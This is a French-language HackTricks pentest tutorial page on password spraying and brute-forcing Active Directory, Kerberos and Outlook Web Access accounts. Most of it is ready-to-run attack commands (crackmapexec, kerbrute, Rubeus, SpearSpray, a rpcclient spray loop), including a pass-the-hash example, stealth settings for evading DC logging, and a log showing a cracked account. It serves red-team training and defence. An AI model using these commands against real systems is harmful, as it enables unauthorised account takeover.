Password Spraying / Brute Force
Reading time: 9 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.
Password Spraying
Une fois que vous avez trouvé plusieurs noms d'utilisateur valides vous pouvez essayer les mots de passe les plus courants (gardez à l'esprit la politique de mot de passe de l'environnement) avec chacun des utilisateurs découverts.
Par défaut la longueur minimale du mot de passe est 7.
Des listes de noms d'utilisateur courants peuvent aussi ĂȘtre utiles : https://github.com/insidetrust/statistically-likely-usernames
Remarquez que vous pourriez verrouiller certains comptes si vous essayez plusieurs mots de passe incorrects (par défaut plus de 10).
Obtenir la politique de mot de passe
Si vous avez des identifiants utilisateur ou un shell en tant qu'utilisateur de domaine, vous pouvez obtenir la politique de mot de passe avec :
# From Linux
crackmapexec <IP> -u 'user' -p 'password' --pass-pol
enum4linux -u 'username' -p 'password' -P <IP>
rpcclient -U "" -N 10.10.10.10;
rpcclient $>querydominfo
ldapsearch -h 10.10.10.10 -x -b "DC=DOMAIN_NAME,DC=LOCAL" -s sub "*" | grep -m 1 -B 10 pwdHistoryLength
# From Windows
net accounts
(Get-DomainPolicy)."SystemAccess" #From powerview
Exploitation depuis Linux (ou tous)
- En utilisant crackmapexec:
crackmapexec smb <IP> -u users.txt -p passwords.txt
# Local Auth Spray (once you found some local admin pass or hash)
## --local-auth flag indicate to only try 1 time per machine
crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep +
- Utilisation de kerbrute (Go)
# Password Spraying
./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com [--dc 10.10.10.10] domain_users.txt Password123
# Brute-Force
./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com [--dc 10.10.10.10] passwords.lst thoffman
- spray (vous pouvez indiquer le nombre de tentatives pour éviter les verrouillages):
spray.sh -smb <targetIP> <usernameList> <passwordList> <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes> <DOMAIN>
- Utiliser kerbrute (python) - PAS RECOMMANDĂ â PEUT PARFOIS NE PAS FONCTIONNER
python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt
python kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt
- Avec le module
scanner/smb/smb_login
de Metasploit :
- En utilisant rpcclient :
# https://www.blackhillsinfosec.com/password-spraying-other-fun-with-rpcclient/
for u in $(cat users.txt); do
rpcclient -U "$u%Welcome1" -c "getusername;quit" 10.10.10.10 | grep Authority;
done
Depuis Windows
- Avec Rubeus version avec le module 'brute' :
# with a list of users
.\Rubeus.exe brute /users:<users_file> /passwords:<passwords_file> /domain:<domain_name> /outfile:<output_file>
# check passwords for all users in current domain
.\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>
- With Invoke-DomainPasswordSpray (Il peut générer des utilisateurs à partir du domaine par défaut et il récupÚre la stratégie de mot de passe du domaine et limite les tentatives en conséquence):
Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
Invoke-SprayEmptyPassword
Brute Force
legba kerberos --target 127.0.0.1 --username admin --password wordlists/passwords.txt --kerberos-realm example.org
Kerberos pre-auth spraying with LDAP targeting and PSO-aware throttling (SpearSpray)
Kerberos pre-authâbased spraying rĂ©duit le bruit par rapport aux tentatives de SMB/NTLM/LDAP bind et s'aligne mieux sur les politiques de verrouillage AD. SpearSpray associe le ciblage pilotĂ© par LDAP, un moteur de patterns, et une prise en compte des politiques (domain policy + PSOs + badPwdCount buffer) pour effectuer du spraying de maniĂšre prĂ©cise et sĂ»re. Il peut aussi taguer les principaux compromis dans Neo4j pour le pathing BloodHound.
Key ideas:
- LDAP user discovery with paging and LDAPS support, optionally using custom LDAP filters.
- Filtrage prenant en compte la politique de verrouillage du domaine et les PSOs pour laisser un tampon configurable d'essais (seuil) et éviter de verrouiller les utilisateurs.
- Kerberos pre-auth validation using fast gssapi bindings (generates 4768/4771 on DCs instead of 4625).
- Génération de mots de passe par pattern, par utilisateur, en utilisant des variables comme les noms et des valeurs temporelles dérivées du pwdLastSet de chaque utilisateur.
- ContrĂŽle du dĂ©bit avec threads, jitter et nombre max de requĂȘtes par seconde.
- Intégration Neo4j optionnelle pour marquer les utilisateurs compromis pour BloodHound.
Basic usage and discovery:
# List available pattern variables
spearspray -l
# Basic run (LDAP bind over TCP/389)
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local
# LDAPS (TCP/636)
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local --ssl
Ciblage et contrĂŽle des motifs:
# Custom LDAP filter (e.g., target specific OU/attributes)
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local \
-q "(&(objectCategory=person)(objectClass=user)(department=IT))"
# Use separators/suffixes and an org token consumed by patterns via {separator}/{suffix}/{extra}
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -sep @-_ -suf !? -x ACME
ContrÎles de furtivité et de sécurité :
# Control concurrency, add jitter, and cap request rate
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -t 5 -j 3,5 --max-rps 10
# Leave N attempts in reserve before lockout (default threshold: 2)
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -thr 2
Neo4j/BloodHound enrichissement:
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -nu neo4j -np bloodhound --uri bolt://localhost:7687
Aperçu du systÚme de patterns (patterns.txt):
# Example templates consuming per-user attributes and temporal context
{name}{separator}{year}{suffix}
{month_en}{separator}{short_year}{suffix}
{season_en}{separator}{year}{suffix}
{samaccountname}
{extra}{separator}{year}{suffix}
Les variables disponibles comprennent :
- {name}, {samaccountname}
- Temporelles extraites de chaque pwdLastSet utilisateur (ou whenCreated) : {year}, {short_year}, {month_number}, {month_en}, {season_en}
- Aides de composition et jeton org : {separator}, {suffix}, {extra}
Notes opérationnelles :
- Privilégiez l'interrogation du PDC-emulator avec -dc pour lire le badPwdCount le plus autoritatif et les informations liées aux politiques.
- Les rĂ©initialisations de badPwdCount sont dĂ©clenchĂ©es au prochain essai aprĂšs la fenĂȘtre d'observation ; utilisez le seuil et le timing pour rester prudent.
- Les tentatives de pré-auth Kerberos apparaissent comme 4768/4771 dans la télémétrie du DC ; utilisez jitter et rate-limiting pour vous fondre.
Astuce : la taille de page LDAP par défaut de SpearSpray est 200 ; ajustez avec -lps si nécessaire.
Outlook Web Access
Il existe plusieurs outils pour password spraying outlook.
- Avec MSF Owa_login
- Avec MSF Owa_ews_login
- Avec Ruler (fiable !)
- Avec DomainPasswordSpray (Powershell)
- Avec MailSniper (Powershell)
Pour utiliser n'importe lequel de ces outils, vous avez besoin d'une liste d'utilisateurs et d'un password / d'une petite liste de passwords Ă spray.
./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose
[x] Failed: larsson:Summer2020
[x] Failed: cube0x0:Summer2020
[x] Failed: a.admin:Summer2020
[x] Failed: c.cube:Summer2020
[+] Success: s.svensson:Summer2020
Okta
- https://github.com/ustayready/CredKing/blob/master/credking.py
- https://github.com/Rhynorater/Okta-Password-Sprayer
- https://github.com/knavesec/CredMaster
Références
- https://github.com/sikumy/spearspray
- https://github.com/TarlogicSecurity/kerbrute
- https://github.com/Greenwolf/Spray
- https://github.com/Hackndo/sprayhound
- https://github.com/login-securite/conpass
- https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-password-spraying
- https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell
- www.blackhillsinfosec.com/?p=5296
- https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.